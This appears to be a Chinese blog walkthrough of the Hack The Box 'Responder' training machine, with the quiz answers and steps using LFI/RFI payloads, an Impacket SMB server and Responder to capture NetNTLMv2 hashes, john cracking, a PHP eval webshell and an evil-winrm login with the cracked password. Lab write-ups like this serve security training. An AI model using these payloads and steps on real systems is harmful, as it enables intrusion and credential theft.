当前位置: 首页 > article >正文

Hack The Box-Starting Point系列Responder

答案

  1. When visiting the web service using the IP address, what is the domain that we are being redirected to?(当使用IP地址浏览网站时,我们被重定向到了哪个站点?)
    unika.htb
  2. Which scripting language is being used on the server to generate webpages?(目标网站使用的是哪种脚本语言进行编写的?)
    php
  3. What is the name of the URL parameter which is used to load different language versions of the webpage?(用于加载网页不同语言版本的 URL 参数的名称是什么?)
    page
  4. Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: “french.html”, “//10.10.14.6/somefile”, “…/…/…/…/…/…/…/…/windows/system32/drivers/etc/hosts”, “minikatz.exe”(“page”参数的以下哪个值是利用本地文件包含 (LFI) 漏洞的示例)
    ../../../../../../../../windows/system32/drivers/etc/hosts
  5. Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: “french.html”, “//10.10.14.6/somefile”, “…/…/…/…/…/…/…/…/windows/system32/drivers/etc/hosts”, “minikatz.exe”(“page”参数的以下哪个值是利用远程文件包含 (RFI) 漏洞的示例?)
    //10.10.14.6/somefile
  6. What does NTLM stand for?(NTLM 的英文全称是什么?)
    New Technology LAN Manager
  7. Which flag do we use in the Responder utility to specify the network interface?(我们在Responder工具中使用哪个参数来指定网络接口?)
    -i
  8. There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?.(有几种工具可以接受 NetNTLMv2 质询/响应并尝试数百万个密码,以查看其中是否有任何密码生成相同的响应。其中一个工具经常被称之为john, 但是其完整的名字是什么?)
    John the Ripper
  9. What is the password for the administrator user?(管理员用户的密码是啥?)
    badminton
  10. We’ll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?.(我们将使用 Windows 服务(即在机器上运行)远程访问使用我们恢复的密码Responder 机器。它侦听什么端口TCP?)
    5985

找啊找啊找Flag

  1. Nmap扫描一波,执行命令:nmpa -sV -sC 目标IP,发现没有什么结果
    在这里插入图片描述

  2. 那我们就扫描所有的端口,执行命令 nmap -p- -sV -sC 目标IP,我们发现开放了两个端口,分别是805985
    在这里插入图片描述

  3. 那我们首先访问一下80端口的网站,结果跳转到一个域名
    在这里插入图片描述

  4. 那如何继续访问呢,只需要修改本地host文件即可,vim /etc/hosts
    在这里插入图片描述

  5. 修改完成后我们再通过那个上面的域名进行访问,可以访问成功(访问可能会有点慢,静静等待即可。)
    在这里插入图片描述

  6. 挨个点击页面上的内容,会发现更改页面显示语言的参数为page,最主要的是参数值是个html文件,那我们就可以尝试一下任意文件读取。
    在这里插入图片描述

  7. 测试本地文件包含,修改参数值为/etc/passwd,即:http://unika.htb/index.php?page=/etc/passwd,我们猜测可能会有文件包含漏洞,并且使用的函数是include()
    在这里插入图片描述

  8. 通过之前的Nmap扫描结果或者报错页面,我们知道目标服务器的操作系统是Windows,所以我们可以尝试包含一下C:\Windows\win.ini测试一下测试链接:http://unika.htb/index.php?page=C:\Windows\win.ini 。通过结果我们可以看到成功包含。
    在这里插入图片描述

  9. 让我们使用伪协议测试一下,如下图所示:通过结果可以看到不太行呢,因为php://input要求allow_url_include必须是打开的状态,也就是说我们无法进行远程文件包含。那我们怎么办呢,不能上传木马也白搭啊。
    在这里插入图片描述10. 尝试使用php:filter读取index.php源码。http://unika.htb/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
    在这里插入图片描述在这里插入图片描述

  10. 通过查阅资料得知,可以使用SMB进行绕过,详情参见:PHP远程文件包含(RFI)并绕过远程URL包含限制

  11. 接下来我们要开启SMB服务

  12. 在kali的桌面创建一个名为smbserve.py的文件,然后将以下代码复制到文件中,源文件位置:https://github.com/fortra/impacket/blob/master/examples/smbserver.py
    代码

#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2022 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   Simple SMB Server example.
#
# Author:
#   Alberto Solino (@agsolino)
#
import sys
import argparse
import logging
from impacket.examples import logger
from impacket import smbserver, version
from impacket.ntlm import compute_lmhash, compute_nthash
if __name__ == '__main__':
    # Init the example's logger theme
    print(version.BANNER)
    parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a "
                                     "share specified as an argument. You need to be root in order to bind to port 445. "
                                     "For optional authentication, it is possible to specify username and password or the NTLM hash. "
                                     "Example: smbserver.py -comment 'My share' TMP /tmp")
    parser.add_argument('shareName', action='store', help='name of the share to add')
    parser.add_argument('sharePath', action='store', help='path of the share to add')
    parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares')
    parser.add_argument('-username', action="store", help='Username to authenticate clients')
    parser.add_argument('-password', action="store", help='Password for the Username')
    parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH')
    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
    parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface')
    parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)')
    parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)
    try:
       options = parser.parse_args()
    except Exception as e:
       logging.critical(str(e))
       sys.exit(1)
    logger.init(options.ts)
    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)
    if options.comment is None:
        comment = ''
    else:
        comment = options.comment
    server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port))
    server.addShare(options.shareName.upper(), options.sharePath, comment)
    server.setSMB2Support(options.smb2support)
    # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous
    # connections will be allowed
    if options.username is not None:
        # we either need a password or hashes, if not, ask
        if options.password is None and options.hashes is None:
            from getpass import getpass
            password = getpass("Password:")
            # Let's convert to hashes
            lmhash = compute_lmhash(password)
            nthash = compute_nthash(password)
        elif options.password is not None:
            lmhash = compute_lmhash(options.password)
            nthash = compute_nthash(options.password)
        else:
            lmhash, nthash = options.hashes.split(':')
        server.addCredential(options.username, 0, lmhash, nthash)
    # Here you can set a custom SMB challenge in hex format
    # If empty defaults to '4141414141414141'
    # (remember: must be 16 hex bytes long)
    # e.g. server.setSMBChallenge('12345678abcdef00')
    server.setSMBChallenge('')
    # If you don't want log to stdout, comment the following line
    # If you want log dumped to a file, enter the filename
    server.setLogFile('')
    # Rock and roll
    server.start()
  1. 在桌面打开终端运行:python smbserver.py -debug -smb2support share ./
    在这里插入图片描述

  2. 在桌面创建一个名为info.php的文件,文件内容为: <?php phpinfo();?>,然后访问链接:http://unika.htb/index.php?page=\\10.10.16.54\share\info.php,注意这里的地址是你攻击机开着代理的地址,网卡是tun0,因为只有这样靶机才能访问到你的机器,也就是说,这里的地址可以是你外网服务器的地址,只要靶机能够访问即可。
    在这里插入图片描述

  3. 查看tun0的地址
    在这里插入图片描述

  4. 查看一下刚刚开启的smbserver,发现捕获到了HASH
    在这里插入图片描述

  5. 我们将hash值手动复制到一个文件中,例如hash_text,注意是上图中info后的所有内容

  6. 然后使用john破解,输入命令 john -w=./rockyou.txt hash_text,-w指定使用的字典,我这里把rockyou.txt放在了桌面上。
    在这里插入图片描述

  7. 另外一种方法就是:直接远程包含一个一句话木马,然后上机找flag,一句话木马为:<?php @eval($_POST['shell']);?>,使用蚁剑进行连接

  8. 连接成功后使用文件管理器,查看目标服务器上有哪些文件

  9. 通过查找发现有两个可疑的用户,最后发现flag.txt文件在mike用户下的Desktop文件夹中

  10. 再一个方法就是使用Responder,使用git 下载源码:git clone https://github.com/lagandx/Responder.git,然后进入该文件夹中 (目前已查无此人)

  11. 执行命令 ./Responder.py -I tun0

  12. 然后构造payload进行访问:http://unika.htb/index.php?page=//10.10.16.54/t,这里的IP地址为你网卡tun0显示的IP地址,这里的t为任意,其代表的时smb服务器中的某个文件。报错的原因是我们没有t这个文件,但是靶机做出了这个请求。

  13. 查看Responder,发现捕获到了HASH,然后CTRL+C结束进程,

  14. 在当前位置执行:./DumpHash.py 用来导出HASH,执行成功后会生成两个文件

  15. 使用john破解密码,john -w=/usr/share/wordlists/rockyou.txt DumpNTLMv2.txt,这里指定的字典应该是kali中自带的最大的字典了。最后跑出来的就是我们的密码.这玩意儿跑出来有啥用呢,一个是为了填写答案,另一个就是用来远程登录了,Nmap扫描到5985端口,这个端口一般是干嘛的呢,就是Winrm的服务,2.0版本默认端口是5898或者5896,老版本是80或者443端口

  16. 下面我们使用kali的winrm工具进行远程登录操作,执行命令:evil-winrm -u Administrator -p badminton -i 10.129.96.94 -P 5985,登录成功后找flag即可。
    在这里插入图片描述

  17. 美滋滋
    在这里插入图片描述

涉及的知识点

  1. hosts文件用于域名解析的,在做题过程中如果通过域名或者IP无法访问靶机,可以尝试修改hosts文件进行域名与IP的绑定
  2. php的文件包含漏洞:https://blog.csdn.net/Fly_hps/article/details/80926992
  3. 远程文件包含的绕过:PHP远程文件包含(RFI)并绕过远程URL包含限制
  4. Responder的使用:https://www.freebuf.com/articles/network/256844.html
  5. john的使用:https://blog.csdn.net/blue_starry_sky/article/details/61206488
  6. WinRm:https://cloud.tencent.com/developer/article/1937035

http://www.kler.cn/a/464443.html

相关文章:

  • 超越YOLO11!DEIM:先进的实时DETR目标检测
  • OWASP ZAP之API 请求基础知识
  • 除了淘宝、天猫和京东,其他电商平台的按图搜索商品API返回值结构是怎样的?
  • Appium 2.0:移动自动化测试的革新之旅
  • 什么是.net framework,什么是.net core,什么是.net5~8,版本对应关系
  • 等保测评和密评的相关性和区别
  • CSS列表、表格、鼠标、滤镜样式设置
  • 深入理解 C 语言预处理:从源文件到可执行程序的关键步骤
  • Vue3实战教程》24:Vue3自定义指令
  • linux下安装达梦数据库v8详解
  • 通过Dockerfile来实现项目可以指定读取不同环境的yml包
  • 24.Java 新特性扩展(重复注解、类型注解)
  • Docker隔离及资源限制原理
  • 参观华为-拓宽全球视野
  • ip属地是看运营商吗还是手机
  • 【C语言 采集数据 精简排序】
  • 数字化转型 · OCR 技术如何打破效率瓶颈?
  • SpringMVC(六)拦截器
  • 栈及栈的操作
  • 【three.js】材质(Material)
  • 《探寻真正开源的大模型:开启AI创新新纪元》
  • 5.微服务灰度发布落地实践(rocketmq增强)
  • Win11电脑Cursor默认打开markdown文件,如何修改markdown文件默认打开方式为Typora?
  • (四)配置有线网口、SSH登陆、文件传输以及运行交叉编译程序测试
  • SQL SERVER ——表的基本操作
  • 系统思考—信任